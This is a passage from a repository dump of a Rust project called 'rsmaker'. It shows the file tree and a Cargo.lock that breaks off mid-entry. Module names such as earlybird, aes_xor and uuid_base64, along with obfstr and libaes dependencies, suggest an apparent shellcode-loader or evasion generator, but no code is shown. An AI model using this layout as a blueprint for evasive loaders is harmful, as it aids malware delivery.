├── .gitignore ├── Cargo.lock ├── Cargo.toml ├── README.md ├── images ├── .DS_Store ├── Jun-21-2022 20-09-46.gif ├── Jun-21-2022 20-25-47.gif └── Jun-21-2022 20-26-46.gif ├── src ├── aes_xor │ ├── aesxor.rs │ └── mod.rs ├── base64_xor │ ├── base64xor.rs │ └── mod.rs ├── bird2 │ ├── bird2.rs │ └── mod.rs ├── earlybird │ ├── earlybird.rs │ └── mod.rs ├── embed │ ├── embed.rs │ └── mod.rs ├── lib.rs ├── main.rs └── uuid_base64 │ ├── mod.rs │ └── uuidbase64.rs └── temp ├── .DS_Store ├── aes ├── Cargo.toml ├── config.toml ├── head.rs └── model.rs ├── base64xor ├── Cargo.toml ├── config.toml ├── head.rs └── model.rs ├── bird2 ├── Cargo.toml ├── config.toml ├── head.rs └── model.rs ├── earlybird ├── Cargo.toml ├── config.toml ├── head.rs └── model.rs ├── embed ├── .DS_Store ├── Cargo.toml ├── build.rs ├── config.toml ├── icon.rc └── main.rs └── uuid ├── Cargo.toml ├── config.toml ├── head.rs └── model.rs /.gitignore: -------------------------------------------------------------------------------- 1 | /target 2 | -------------------------------------------------------------------------------- /Cargo.lock: -------------------------------------------------------------------------------- 1 | # This file is automatically @generated by Cargo. 2 | # It is not intended for manual editing. 3 | version = 3 4 | 5 | [[package]] 6 | name = "atty" 7 | version = "0.2.14" 8 | source = "registry+https://github.com/rust-lang/crates.io-index" 9 | checksum = "d9b39be18770d11421cdb1b9947a45dd3f37e93092cbf377614828a319d5fee8" 10 | dependencies = [ 11 | "hermit-abi", 12 | "libc", 13 | "winapi", 14 | ] 15 | 16 | [[package]] 17 | name = "autocfg" 18 | version = "1.1.0" 19 | source = "registry+https://github.com/rust-lang/crates.io-index" 20 | checksum = "d468802bab17cbc0cc575e9b053f41e72aa36bfa6b7f55e3529ffa43161b97fa" 21 | 22 | [[package]] 23 | name = "base64" 24 | version = "0.13.0" 25 | source = "registry+https://github.com/rust-lang/crates.io-index" 26 | checksum = "904dfeac50f3cdaba28fc6f57fdcddb75f49ed61346676a78c4ffe55877802fd" 27 | 28 | [[package]] 29 | name = "bitflags" 30 | version = "1.3.2" 31 | source = "registry+https://github.com/rust-lang/crates.io-index" 32 | checksum = "bef38d45163c2f1dde094a7dfd33ccf595c92905c8f8f4fdc18d06fb1037718a" 33 | 34 | [[package]] 35 | name = "block-buffer" 36 | version = "0.9.0" 37 | source = "registry+https://github.com/rust-lang/crates.io-index" 38 | checksum = "4152116fd6e9dadb291ae18fc1ec3575ed6d84c29642d97890f4b4a3417297e4" 39 | dependencies = [ 40 | "generic-array", 41 | ] 42 | 43 | [[package]] 44 | name = "bumpalo" 45 | version = "3.10.0" 46 | source = "registry+https://github.com/rust-lang/crates.io-index" 47 | checksum = "37ccbd214614c6783386c1af30caf03192f17891059cecc394b4fb119e363de3" 48 | 49 | [[package]] 50 | name = "bytes" 51 | version = "1.1.0" 52 | source = "registry+https://github.com/rust-lang/crates.io-index" 53 | checksum = "c4872d67bab6358e59559027aa3b9157c53d9358c51423c17554809a8858e0f8" 54 | 55 | [[package]] 56 | name = "cc" 57 | version = "1.0.73" 58 | source = "registry+https://github.com/rust-lang/crates.io-index" 59 | checksum = "2fff2a6927b3bb87f9595d67196a70493f627687a71d87a0d692242c33f58c11" 60 | 61 | [[package]] 62 | name = "cfg-if" 63 | version = "1.0.0" 64 | source = "registry+https://github.com/rust-lang/crates.io-index" 65 | checksum = "baf1de4339761588bc0619e3cbc0120ee582ebb74b53b4efbf79117bd2da40fd" 66 | 67 | [[package]] 68 | name = "clap" 69 | version = "3.2.5" 70 | source = "registry+https://github.com/rust-lang/crates.io-index" 71 | checksum = "d53da17d37dba964b9b3ecb5c5a1f193a2762c700e6829201e645b9381c99dc7" 72 | dependencies = [ 73 | "atty", 74 | "bitflags", 75 | "clap_lex", 76 | "indexmap", 77 | "strsim", 78 | "termcolor", 79 | "textwrap", 80 | ] 81 | 82 | [[package]] 83 | name = "clap_lex" 84 | version = "0.2.2" 85 | source = "registry+https://github.com/rust-lang/crates.io-index" 86 | checksum = "5538cd660450ebeb4234cfecf8f2284b844ffc4c50531e66d584ad5b91293613" 87 | dependencies = [ 88 | "os_str_bytes", 89 | ] 90 | 91 | [[package]] 92 | name = "core-foundation" 93 | version = "0.9.3" 94 | source = "registry+https://github.com/rust-lang/crates.io-index" 95 | checksum = "194a7a9e6de53fa55116934067c844d9d749312f75c6f6d0980e8c252f8c2146" 96 | dependencies = [ 97 | "core-foundation-sys", 98 | "libc", 99 | ] 100 | 101 | [[package]] 102 | name = "core-foundation-sys" 103 | version = "0.8.3" 104 | source = "registry+https://github.com/rust-lang/crates.io-index" 105 | checksum = "5827cebf4670468b8772dd191856768aedcb1b0278a04f989f7766351917b9dc" 106 | 107 | [[package]] 108 | name = "cpufeatures" 109 | version = "0.2.2" 110 | source = "registry+https://github.com/rust-lang/crates.io-index" 111 | checksum = "59a6001667ab124aebae2a495118e11d30984c3a653e99d86d58971708cf5e4b" 112 | dependencies = [ 113 | "libc", 114 | ] 115 | 116 | [[package]] 117 | name = "digest" 118 | version = "0.9.0" 119 | source = "registry+https://github.com/rust-lang/crates.io-index" 120 | checksum = "d3dd60d1080a57a05ab032377049e0591415d2b31afd7028356dbf3cc6dcb066" 121 | dependencies = [ 122 | "generic-array", 123 | ] 124 | 125 | [[package]] 126 | name = "encoding_rs" 127 | version = "0.8.31" 128 | source = "registry+https://github.com/rust-lang/crates.io-index" 129 | checksum = "9852635589dc9f9ea1b6fe9f05b50ef208c85c834a562f0c6abb1c475736ec2b" 130 | dependencies = [ 131 | "cfg-if", 132 | ] 133 | 134 | [[package]] 135 | name = "fastrand" 136 | version = "1.7.0" 137 | source = "registry+https://github.com/rust-lang/crates.io-index" 138 | checksum = "c3fcf0cee53519c866c09b5de1f6c56ff9d647101f81c1964fa632e148896cdf" 139 | dependencies = [ 140 | "instant", 141 | ] 142 | 143 | [[package]] 144 | name = "fnv" 145 | version = "1.0.7" 146 | source = "registry+https://github.com/rust-lang/crates.io-index" 147 | checksum = "3f9eec918d3f24069decb9af1554cad7c880e2da24a9afd88aca000531ab82c1" 148 | 149 | [[package]] 150 | name = "foreign-types" 151 | version = "0.3.2" 152 | source = "registry+https://github.com/rust-lang/crates.io-index" 153 | checksum = "f6f339eb8adc052cd2ca78910fda869aefa38d22d5cb648e6485e4d3fc06f3b1" 154 | dependencies = [ 155 | "foreign-types-shared", 156 | ] 157 | 158 | [[package]] 159 | name = "foreign-types-shared" 160 | version = "0.1.1" 161 | source = "registry+https://github.com/rust-lang/crates.io-index" 162 | checksum = "00b0228411908ca8685dba7fc2cdd70ec9990a6e753e89b6ac91a84c40fbaf4b" 163 | 164 | [[package]] 165 | name = "form_urlencoded" 166 | version = "1.0.1" 167 | source = "registry+https://github.com/rust-lang/crates.io-index" 168 | checksum = "5fc25a87fa4fd2094bffb06925852034d90a17f0d1e05197d4956d3555752191" 169 | dependencies = [ 170 | "matches", 171 | "percent-encoding", 172 | ] 173 | 174 | [[package]] 175 | name = "futures-channel" 176 | version = "0.3.21" 177 | source = "registry+https://github.com/rust-lang/crates.io-index" 178 | checksum = "c3083ce4b914124575708913bca19bfe887522d6e2e6d0952943f5eac4a74010" 179 | dependencies = [ 180 | "futures-core", 181 | ] 182 | 183 | [[package]] 184 | name = "futures-core" 185 | version = "0.3.21" 186 | source = "registry+https://github.com/rust-lang/crates.io-index" 187 | checksum = "0c09fd04b7e4073ac7156a9539b57a484a8ea920f79c7c675d05d289ab6110d3" 188 | 189 | [[package]] 190 | name = "futures-io" 191 | version = "0.3.21" 192 | source = "registry+https://github.com/rust-lang/crates.io-index" 193 | checksum = "fc4045962a5a5e935ee2fdedaa4e08284547402885ab326734432bed5d12966b" 194 | 195 | [[package]] 196 | name = "futures-sink" 197 | version = "0.3.21" 198 | source = "registry+https://github.com/rust-lang/crates.io-index" 199 | checksum = "21163e139fa306126e6eedaf49ecdb4588f939600f0b1e770f4205ee4b7fa868" 200 | 201 | [[package]] 202 | name = "futures-task" 203 | version = "0.3.21" 204 | source = "registry+https://github.com/rust-lang/crates.io-index" 205 | checksum = "57c66a976bf5909d801bbef33416c41372779507e7a6b3a5e25e4749c58f776a" 206 | 207 | [[package]] 208 | name = "futures-util" 209 | version = "0.3.21" 210 | source = "registry+https://github.com/rust-lang/crates.io-index" 211 | checksum = "d8b7abd5d659d9b90c8cba917f6ec750a74e2dc23902ef9cd4cc8c8b22e6036a" 212 | dependencies = [ 213 | "futures-core", 214 | "futures-io", 215 | "futures-task", 216 | "memchr", 217 | "pin-project-lite", 218 | "pin-utils", 219 | "slab", 220 | ] 221 | 222 | [[package]] 223 | name = "generic-array" 224 | version = "0.14.5" 225 | source = "registry+https://github.com/rust-lang/crates.io-index" 226 | checksum = "fd48d33ec7f05fbfa152300fdad764757cbded343c1aa1cff2fbaf4134851803" 227 | dependencies = [ 228 | "typenum", 229 | "version_check", 230 | ] 231 | 232 | [[package]] 233 | name = "getrandom" 234 | version = "0.2.6" 235 | source = "registry+https://github.com/rust-lang/crates.io-index" 236 | checksum = "9be70c98951c83b8d2f8f60d7065fa6d5146873094452a1008da8c2f1e4205ad" 237 | dependencies = [ 238 | "cfg-if", 239 | "libc", 240 | "wasi 0.10.2+wasi-snapshot-preview1", 241 | ] 242 | 243 | [[package]] 244 | name = "h2" 245 | version = "0.3.13" 246 | source = "registry+https://github.com/rust-lang/crates.io-index" 247 | checksum = "37a82c6d637fc9515a4694bbf1cb2457b79d81ce52b3108bdeea58b07dd34a57" 248 | dependencies = [ 249 | "bytes", 250 | "fnv", 251 | "futures-core", 252 | "futures-sink", 253 | "futures-util", 254 | "http", 255 | "indexmap", 256 | "slab", 257 | "tokio", 258 | "tokio-util", 259 | "tracing", 260 | ] 261 | 262 | [[package]] 263 | name = "hashbrown" 264 | version = "0.12.1" 265 | source = "registry+https://github.com/rust-lang/crates.io-index" 266 | checksum = "db0d4cf898abf0081f964436dc980e96670a0f36863e4b83aaacdb65c9d7ccc3" 267 | 268 | [[package]] 269 | name = "hermit-abi" 270 | version = "0.1.19" 271 | source = "registry+https://github.com/rust-lang/crates.io-index" 272 | checksum = "62b467343b94ba476dcb2500d242dadbb39557df889310ac77c5d99100aaac33" 273 | dependencies = [ 274 | "libc", 275 | ] 276 | 277 | [[package]] 278 | name = "http" 279 | version = "0.2.8" 280 | source = "registry+https://github.com/rust-lang/crates.io-index" 281 | checksum = "75f43d41e26995c17e71ee126451dd3941010b0514a81a9d11f3b341debc2399" 282 | dependencies = [ 283 | "bytes", 284 | "fnv", 285 | "itoa", 286 | ] 287 | 288 | [[package]] 289 | name = "http-body" 290 | version = "0.4.5" 291 | source = "registry+https://github.com/rust-lang/crates.io-index" 292 | checksum = "d5f38f16d184e36f2408a55281cd658ecbd3ca05cce6d6510a176eca393e26d1" 293 | dependencies = [ 294 | "bytes", 295 | "http", 296 | "pin-project-lite", 297 | ] 298 | 299 | [[package]] 300 | name = "httparse" 301 | version = "1.7.1" 302 | source = "registry+https://github.com/rust-lang/crates.io-index" 303 | checksum = "496ce29bb5a52785b44e0f7ca2847ae0bb839c9bd28f69acac9b99d461c0c04c" 304 | 305 | [[package]] 306 | name = "httpdate" 307 | version = "1.0.2" 308 | source = "registry+https://github.com/rust-lang/crates.io-index" 309 | checksum = "c4a1e36c821dbe04574f602848a19f742f4fb3c98d40449f11bcad18d6b17421" 310 | 311 | [[package]] 312 | name = "hyper" 313 | version = "0.14.20" 314 | source = "registry+https://github.com/rust-lang/crates.io-index" 315 | checksum = "02c929dc5c39e335a03c405292728118860721b10190d98c2a0f0efd5baafbac" 316 | dependencies = [ 317 | "bytes", 318 | "futures-channel", 319 | "futures-core", 320 | "futures-util", 321 | "h2", 322 | "http", 323 | "http-body", 324 | "httparse", 325 | "httpdate", 326 | "itoa", 327 | "pin-project-lite", 328 | "socket2", 329 | "tokio", 330 | "tower-service", 331 | "tracing", 332 | "want", 333 | ] 334 | 335 | [[package]] 336 | name = "hyper-tls" 337 | version = "0.5.0" 338 | source = "registry+https://github.com/rust-lang/crates.io-index" 339 | checksum = "d6183ddfa99b85da61a140bea0efc93fdf56ceaa041b37d553518030827f9905" 340 | dependencies = [ 341 | "bytes", 342 | "hyper", 343 | "native-tls", 344 | "tokio", 345 | "tokio-native-tls", 346 | ] 347 | 348 | [[package]] 349 | name = "idna" 350 | version = "0.2.3" 351 | source = "registry+https://github.com/rust-lang/crates.io-index" 352 | checksum = "418a0a6fab821475f634efe3ccc45c013f742efe03d853e8d3355d5cb850ecf8" 353 | dependencies = [ 354 | "matches", 355 | "unicode-bidi", 356 | "unicode-normalization", 357 | ] 358 | 359 | [[package]] 360 | name = "indexmap" 361 | version = "1.9.0" 362 | source = "registry+https://github.com/rust-lang/crates.io-index" 363 | checksum = "6c6392766afd7964e2531940894cffe4bd8d7d17dbc3c1c4857040fd4b33bdb3" 364 | dependencies = [ 365 | "autocfg", 366 | "hashbrown", 367 | ] 368 | 369 | [[package]] 370 | name = "instant" 371 | version = "0.1.12" 372 | source = "registry+https://github.com/rust-lang/crates.io-index" 373 | checksum = "7a5bbe824c507c5da5956355e86a746d82e0e1464f65d862cc5e71da70e94b2c" 374 | dependencies = [ 375 | "cfg-if", 376 | ] 377 | 378 | [[package]] 379 | name = "ipnet" 380 | version = "2.5.0" 381 | source = "registry+https://github.com/rust-lang/crates.io-index" 382 | checksum = "879d54834c8c76457ef4293a689b2a8c59b076067ad77b15efafbb05f92a592b" 383 | 384 | [[package]] 385 | name = "itoa" 386 | version = "1.0.2" 387 | source = "registry+https://github.com/rust-lang/crates.io-index" 388 | checksum = "112c678d4050afce233f4f2852bb2eb519230b3cf12f33585275537d7e41578d" 389 | 390 | [[package]] 391 | name = "js-sys" 392 | version = "0.3.57" 393 | source = "registry+https://github.com/rust-lang/crates.io-index" 394 | checksum = "671a26f820db17c2a2750743f1dd03bafd15b98c9f30c7c2628c024c05d73397" 395 | dependencies = [ 396 | "wasm-bindgen", 397 | ] 398 | 399 | [[package]] 400 | name = "lazy_static" 401 | version = "1.4.0" 402 | source = "registry+https://github.com/rust-lang/crates.io-index" 403 | checksum = "e2abad23fbc42b3700f2f279844dc832adb2b2eb069b2df918f455c4e18cc646" 404 | 405 | [[package]] 406 | name = "libaes" 407 | version = "0.6.2" 408 | source = "registry+https://github.com/rust-lang/crates.io-index" 409 | checksum = "db7c463b5db4448022fb5829e269bf3a0dd0da21ac18e8e03bf2c5a6e53cc2b8" 410 | 411 | [[package]] 412 | name = "libc" 413 | version = "0.2.126" 414 | source = "registry+https://github.com/rust-lang/crates.io-index" 415 | checksum = "349d5a591cd28b49e1d1037471617a32ddcda5731b99419008085f72d5a53836" 416 | 417 | [[package]] 418 | name = "log" 419 | version = "0.4.17" 420 | source = "registry+https://github.com/rust-lang/crates.io-index" 421 | checksum = "abb12e687cfb44aa40f41fc3978ef76448f9b6038cad6aef4259d3c095a2382e" 422 | dependencies = [ 423 | "cfg-if", 424 | ] 425 | 426 | [[package]] 427 | name = "matches" 428 | version = "0.1.9" 429 | source = "registry+https://github.com/rust-lang/crates.io-index" 430 | checksum = "a3e378b66a060d48947b590737b30a1be76706c8dd7b8ba0f2fe3989c68a853f" 431 | 432 | [[package]] 433 | name = "memchr" 434 | version = "2.5.0" 435 | source = "registry+https://github.com/rust-lang/crates.io-index" 436 | checksum = "2dffe52ecf27772e601905b7522cb4ef790d2cc203488bbd0e2fe85fcb74566d" 437 | 438 | [[package]] 439 | name = "mime" 440 | version = "0.3.16" 441 | source = "registry+https://github.com/rust-lang/crates.io-index" 442 | checksum = "2a60c7ce501c71e03a9c9c0d35b861413ae925bd979cc7a4e30d060069aaac8d" 443 | 444 | [[package]] 445 | name = "mio" 446 | version = "0.8.4" 447 | source = "registry+https://github.com/rust-lang/crates.io-index" 448 | checksum = "57ee1c23c7c63b0c9250c339ffdc69255f110b298b901b9f6c82547b7b87caaf" 449 | dependencies = [ 450 | "libc", 451 | "log", 452 | "wasi 0.11.0+wasi-snapshot-preview1", 453 | "windows-sys", 454 | ] 455 | 456 | [[package]] 457 | name = "native-tls" 458 | version = "0.2.10" 459 | source = "registry+https://github.com/rust-lang/crates.io-index" 460 | checksum = "fd7e2f3618557f980e0b17e8856252eee3c97fa12c54dff0ca290fb6266ca4a9" 461 | dependencies = [ 462 | "lazy_static", 463 | "libc", 464 | "log", 465 | "openssl", 466 | "openssl-probe", 467 | "openssl-sys", 468 | "schannel", 469 | "security-framework", 470 | "security-framework-sys", 471 | "tempfile", 472 | ] 473 | 474 | [[package]] 475 | name = "num_cpus" 476 | version = "1.13.1" 477 | source = "registry+https://github.com/rust-lang/crates.io-index" 478 | checksum = "19e64526ebdee182341572e50e9ad03965aa510cd94427a4549448f285e957a1" 479 | dependencies = [ 480 | "hermit-abi", 481 | "libc", 482 | ] 483 | 484 | [[package]] 485 | name = "obfstr" 486 | version = "0.3.0" 487 | source = "registry+https://github.com/rust-lang/crates.io-index" 488 | checksum = "7b2b2cbbfd8defa51ff24450a61d73b3ff3e158484ddd274a883e886e6fbaa78" 489 | 490 | [[package]] 491 | name = "once_cell" 492 | version = "1.13.0" 493 | source = "registry+https://github.com/rust-lang/crates.io-index" 494 | checksum = "18a6dbe30758c9f83eb00cbea4ac95966305f5a7772f3f42ebfc7fc7eddbd8e1" 495 | 496 | [[package]] 497 | name = "opaque-debug" 498 | version = "0.3.0" 499 | source = "registry+https://github.com/rust-lang/crates.io-index" 500 | checksum = "624a8340c38c1b80fd549087862da4ba43e08858af025b236e509b6649fc13d5" 501 | 502 | [[package]] 503 | name = "openssl" 504 | version = "0.10.41" 505 | source = "registry+https://github.com/rust-lang/crates.io-index" 506 | checksum = "618febf65336490dfcf20b73f885f5651a0c89c64c2d4a8c3662585a70bf5bd0" 507 | dependencies = [ 508 | "bitflags", 509 | "cfg-if", 510 | "foreign-types", 511 | "libc", 512 | "once_cell", 513 | "openssl-macros", 514 | "openssl-sys", 515 | ] 516 | 517 | [[package]] 518 | name = "openssl-macros" 519 | version = "0.1.0" 520 | source = "registry+https://github.com/rust-lang/crates.io-index" 521 | checksum = "b501e44f11665960c7e7fcf062c7d96a14ade4aa98116c004b2e37b5be7d736c" 522 | dependencies = [ 523 | "proc-macro2", 524 | "quote", 525 | "syn", 526 | ] 527 | 528 | [[package]] 529 | name = "openssl-probe" 530 | version = "0.1.5" 531 | source = "registry+https://github.com/rust-lang/crates.io-index" 532 | checksum = "ff011a302c396a5197692431fc1948019154afc178baf7d8e37367442a4601cf" 533 | 534 | [[package]] 535 | name = "openssl-sys" 536 | version = "0.9.75" 537 | source = "registry+https://github.com/rust-lang/crates.io-index" 538 | checksum = "e5f9bd0c2710541a3cda73d6f9ac4f1b240de4ae261065d309dbe73d9dceb42f" 539 | dependencies = [ 540 | "autocfg", 541 | "cc", 542 | "libc", 543 | "pkg-config", 544 | "vcpkg", 545 | ] 546 | 547 | [[package]] 548 | name = "os_str_bytes" 549 | version = "6.1.0" 550 | source = "registry+https://github.com/rust-lang/crates.io-index" 551 | checksum = "21326818e99cfe6ce1e524c2a805c189a99b5ae555a35d19f9a284b427d86afa" 552 | 553 | [[package]] 554 | name = "percent-encoding" 555 | version = "2.1.0" 556 | source = "registry+https://github.com/rust-lang/crates.io-index" 557 | checksum = "d4fd5641d01c8f18a23da7b6fe29298ff4b55afcccdf78973b24cf3175fee32e" 558 | 559 | [[package]] 560 | name = "pin-project-lite" 561 | version = "0.2.9" 562 | source = "registry+https://github.com/rust-lang/crates.io-index" 563 | checksum = "e0a7ae3ac2f1173085d398531c705756c94a4c56843785df85a60c1a0afac116" 564 | 565 | [[package]] 566 | name = "pin-utils" 567 | version = "0.1.0" 568 | source = "registry+https://github.com/rust-lang/crates.io-index" 569 | checksum = "8b870d8c151b6f2fb93e84a13146138f05d02ed11c7e7c54f8826aaaf7c9f184" 570 | 571 | [[package]] 572 | name = "pkg-config" 573 | version = "0.3.25" 574 | source = "registry+https://github.com/rust-lang/crates.io-index" 575 | checksum = "1df8c4ec4b0627e53bdf214615ad287367e482558cf84b109250b37464dc03ae" 576 | 577 | [[package]] 578 | name = "ppv-lite86" 579 | version = "0.2.16" 580 | source = "registry+https://github.com/rust-lang/crates.io-index" 581 | checksum = "eb9f9e6e233e5c4a35559a617bf40a4ec447db2e84c20b55a6f83167b7e57872" 582 | 583 | [[package]] 584 | name = "proc-macro2" 585 | version = "1.0.39" 586 | source = "registry+https://github.com/rust-lang/crates.io-index" 587 | checksum = "c54b25569025b7fc9651de43004ae593a75ad88543b17178aa5e1b9c4f15f56f" 588 | dependencies = [ 589 | "unicode-ident", 590 | ] 591 | 592 | [[package]] 593 | name = "quote" 594 | version = "1.0.18" 595 | source = "registry+https://github.com/rust-lang/crates.io-index" 596 | checksum = "a1feb54ed693b93a84e14094943b84b7c4eae204c512b7ccb95ab0c66d278ad1" 597 | dependencies = [ 598 | "proc-macro2", 599 | ] 600 | 601 | [[package]] 602 | name = "rand" 603 | version = "0.8.5" 604 | source = "registry+https://github.com/rust-lang/crates.io-index" 605 | checksum = "34af8d1a0e25924bc5b7c43c079c942339d8f0a8b57c39049bef581b46327404" 606 | dependencies = [ 607 | "libc", 608 | "rand_chacha", 609 | "rand_core", 610 | ] 611 | 612 | [[package]] 613 | name = "rand_chacha" 614 | version = "0.3.1" 615 | source = "registry+https://github.com/rust-lang/crates.io-index" 616 | checksum = "e6c10a63a0fa32252be49d21e7709d4d4baf8d231c2dbce1eaa8141b9b127d88" 617 | dependencies = [ 618 | "ppv-lite86", 619 | "rand_core", 620 | ] 621 | 622 | [[package]] 623 | name = "rand_core" 624 | version = "0.6.3" 625 | source = "registry+https://github.com/rust-lang/crates.io-index" 626 | checksum = "d34f1408f55294453790c48b2f1ebbb1c5b4b7563eb1f418bcfcfdbb06ebb4e7" 627 | dependencies = [ 628 | "getrandom", 629 | ] 630 | 631 | [[package]] 632 | name = "redox_syscall" 633 | version = "0.2.13" 634 | source = "registry+https://github.com/rust-lang/crates.io-index" 635 | checksum = "62f25bc4c7e55e0b0b7a1d43fb893f4fa1361d0abe38b9ce4f323c2adfe6ef42" 636 | dependencies = [ 637 | "bitflags", 638 | ] 639 | 640 | [[package]] 641 | name = "remove_dir_all" 642 | version = "0.5.3" 643 | source = "registry+https://github.com/rust-lang/crates.io-index" 644 | checksum = "3acd125665422973a33ac9d3dd2df85edad0f4ae9b00dafb1a05e43a9f5ef8e7" 645 | dependencies = [ 646 | "winapi", 647 | ] 648 | 649 | [[package]] 650 | name = "reqwest" 651 | version = "0.11.11" 652 | source = "registry+https://github.com/rust-lang/crates.io-index" 653 | checksum = "b75aa69a3f06bbcc66ede33af2af253c6f7a86b1ca0033f60c580a27074fbf92" 654 | dependencies = [ 655 | "base64", 656 | "bytes", 657 | "encoding_rs", 658 | "futures-core", 659 | "futures-util", 660 | "h2", 661 | "http", 662 | "http-body", 663 | "hyper", 664 | "hyper-tls", 665 | "ipnet", 666 | "js-sys", 667 | "lazy_static", 668 | "log", 669 | "mime", 670 | "native-tls", 671 | "percent-encoding", 672 | "pin-project-lite", 673 | "serde", 674 | "serde_json", 675 | "serde_urlencoded", 676 | "tokio", 677 | "tokio-native-tls", 678 | "tower-service", 679 | "url", 680 | "wasm-bindgen", 681 | "wasm-bindgen-futures", 682 | "web-sys", 683 | "winreg", 684 | ] 685 | 686 | [[package]] 687 | name = "rsmaker" 688 | version = "0.1.0" 689 | dependencies = [ 690 | "base64", 691 | "clap", 692 | "libaes", 693 | "obfstr", 694 | "rand", 695 | "reqwest", 696 | "rust-embed", 697 | "uuid", 698 | "whoami", 699 | ] 700 | 701 | [[package]] 702 | name = "rust-embed" 703 | version = "6.4.0" 704 | source = "registry+https://github.com/rust-lang/crates.io-index" 705 | checksum = "9a17e5ac65b318f397182ae94e532da0ba56b88dd1200b774715d36c4943b1c3" 706 | dependencies = [ 707 | "rust-embed-impl", 708 | "rust-embed-utils", 709 | "walkdir", 710 | ] 711 | 712 | [[package]] 713 | name = "rust-embed-impl" 714 | version = "6.2.0" 715 | source = "registry+https://github.com/rust-lang/crates.io-index" 716 | checksum = "94e763e24ba2bf0c72bc6be883f967f794a019fafd1b86ba1daff9c91a7edd30" 717 | dependencies = [ 718 | "proc-macro2", 719 | "quote", 720 | "rust-embed-utils", 721 | "syn", 722 | "walkdir", 723 | ] 724 | 725 | [[package]] 726 | name = "rust-embed-utils" 727 | version = "7.2.0" 728 | source = "registry+https://github.com/rust-lang/crates.io-index" 729 | checksum = "756feca3afcbb1487a1d01f4ecd94cf8ec98ea074c55a69e7136d29fb6166029" 730 | dependencies = [ 731 | "sha2", 732 | "walkdir", 733 | ] 734 | 735 | [[package]] 736 | name = "ryu" 737 | version = "1.0.10" 738 | source = "registry+https://github.com/rust-lang/crates.io-index" 739 | checksum = "f3f6f92acf49d1b98f7a81226834412ada05458b7364277387724a237f062695" 740 | 741 | [[package]] 742 | name = "same-file" 743 | version = "1.0.6" 744 | source = "registry+https://github.com/rust-lang/crates.io-index" 745 | checksum = "93fc1dc3aaa9bfed95e02e6eadabb4baf7e3078b0bd1b4d7b6b0b68378900502" 746 | dependencies = [ 747 | "winapi-util", 748 | ] 749 | 750 | [[package]] 751 | name = "schannel" 752 | version = "0.1.20" 753 | source = "registry+https://github.com/rust-lang/crates.io-index" 754 | checksum = "88d6731146462ea25d9244b2ed5fd1d716d25c52e4d54aa4fb0f3c4e9854dbe2" 755 | dependencies = [ 756 | "lazy_static", 757 | "windows-sys", 758 | ] 759 | 760 | [[package]] 761 | name = "security-framework" 762 | version = "2.6.1" 763 | source = "registry+https://github.com/rust-lang/crates.io-index" 764 | checksum = "2dc14f172faf8a0194a3aded622712b0de276821addc574fa54fc0a1167e10dc" 765 | dependencies = [ 766 | "bitflags", 767 | "core-foundation", 768 | "core-foundation-sys", 769 | "libc", 770 | "security-framework-sys", 771 | ] 772 | 773 | [[package]] 774 | name = "security-framework-sys" 775 | version = "2.6.1" 776 | source = "registry+https://github.com/rust-lang/crates.io-index" 777 | checksum = "0160a13a177a45bfb43ce71c01580998474f556ad854dcbca936dd2841a5c556" 778 | dependencies = [ 779 | "core-foundation-sys", 780 | "libc", 781 | ] 782 | 783 | [[package]] 784 | name = "serde" 785 | version = "1.0.139" 786 | source = "registry+https://github.com/rust-lang/crates.io-index" 787 | checksum = "0171ebb889e45aa68b44aee0859b3eede84c6f5f5c228e6f140c0b2a0a46cad6" 788 | 789 | [[package]] 790 | name = "serde_json" 791 | version = "1.0.82" 792 | source = "registry+https://github.com/rust-lang/crates.io-index" 793 | checksum = "82c2c1fdcd807d1098552c5b9a36e425e42e9fbd7c6a37a8425f390f781f7fa7" 794 | dependencies = [ 795 | "itoa", 796 | "ryu", 797 | "serde", 798 | ] 799 | 800 | [[package]] 801 | name = "serde_urlencoded" 802 | version = "0.7.1" 803 | source = "registry+https://github.com/rust-lang/crates.io-index" 804 | checksum = "d3491c14715ca2294c4d6a88f15e84739788c1d030eed8c110436aafdaa2f3fd" 805 | dependencies = [ 806 | "form_urlencoded", 807 | "itoa", 808 | "ryu", 809 | "serde", 810 | ] 811 | 812 | [[package]] 813 | name = "sha1_smol" 814 | version = "1.0.0" 815 | source = "registry+https://github.com/rust-lang/crates.io-index" 816 | checksum = "ae1a47186c03a32177042e55dbc5fd5aee900b8e0069a8d70fba96a9375cd012" 817 | 818 | [[package]] 819 | name = "sha2" 820 | version = "0.9.9" 821 | source = "registry+https://github.com/rust-lang/crates.io-index" 822 | checksum = "4d58a1e1bf39749807d89cf2d98ac2dfa0ff1cb3faa38fbb64dd88ac8013d800" 823 | dependencies = [ 824 | "block-buffer", 825 | "cfg-if", 826 | "cpufeatures", 827 | "digest", 828 | "opaque-debug", 829 | ] 830 | 831 | [[package]] 832 | name = "slab" 833 | version = "0.4.6" 834 | source = "registry+https://github.com/rust-lang/crates.io-index" 835 | checksum = "eb703cfe953bccee95685111adeedb76fabe4e97549a58d16f03ea7b9367bb32" 836 | 837 | [[package]] 838 | name = "socket2" 839 | version = "0.4.4" 840 | source = "registry+https://github.com/rust-lang/crates.io-index" 841 | checksum = "66d72b759436ae32898a2af0a14218dbf55efde3feeb170eb623637db85ee1e0" 842 | dependencies = [ 843 | "libc", 844 | "winapi", 845 | ] 846 | 847 | [[package]] 848 | name = "strsim" 849 | version = "0.10.0" 850 | source = "registry+https://github.com/rust-lang/crates.io-index" 851 | checksum = "73473c0e59e6d5812c5dfe2a064a6444949f089e20eec9a2e5506596494e4623" 852 | 853 | [[package]] 854 | name = "syn" 855 | version = "1.0.95" 856 | source = "registry+https://github.com/rust-lang/crates.io-index" 857 | checksum = "fbaf6116ab8924f39d52792136fb74fd60a80194cf1b1c6ffa6453eef1c3f942" 858 | dependencies = [ 859 | "proc-macro2", 860 | "quote", 861 | "unicode-ident", 862 | ] 863 | 864 | [[package]] 865 | name = "tempfile" 866 | version = "3.3.0" 867 | source = "registry+https://github.com/rust-lang/crates.io-index" 868 | checksum = "5cdb1ef4eaeeaddc8fbd371e5017057064af0911902ef36b39801f67cc6d79e4" 869 | dependencies = [ 870 | "cfg-if", 871 | "fastrand", 872 | "libc", 873 | "redox_syscall", 874 | "remove_dir_all", 875 | "winapi", 876 | ] 877 | 878 | [[package]] 879 | name = "termcolor" 880 | version = "1.1.3" 881 | source = "registry+https://github.com/rust-lang/crates.io-index" 882 | checksum = "bab24d30b911b2376f3a13cc2cd443142f0c81dda04c118693e35b3835757755" 883 | dependencies = [ 884 | "winapi-util", 885 | ] 886 | 887 | [[package]] 888 | name = "textwrap" 889 | version = "0.15.0" 890 | source = "registry+https://github.com/rust-lang/crates.io-index" 891 | checksum = 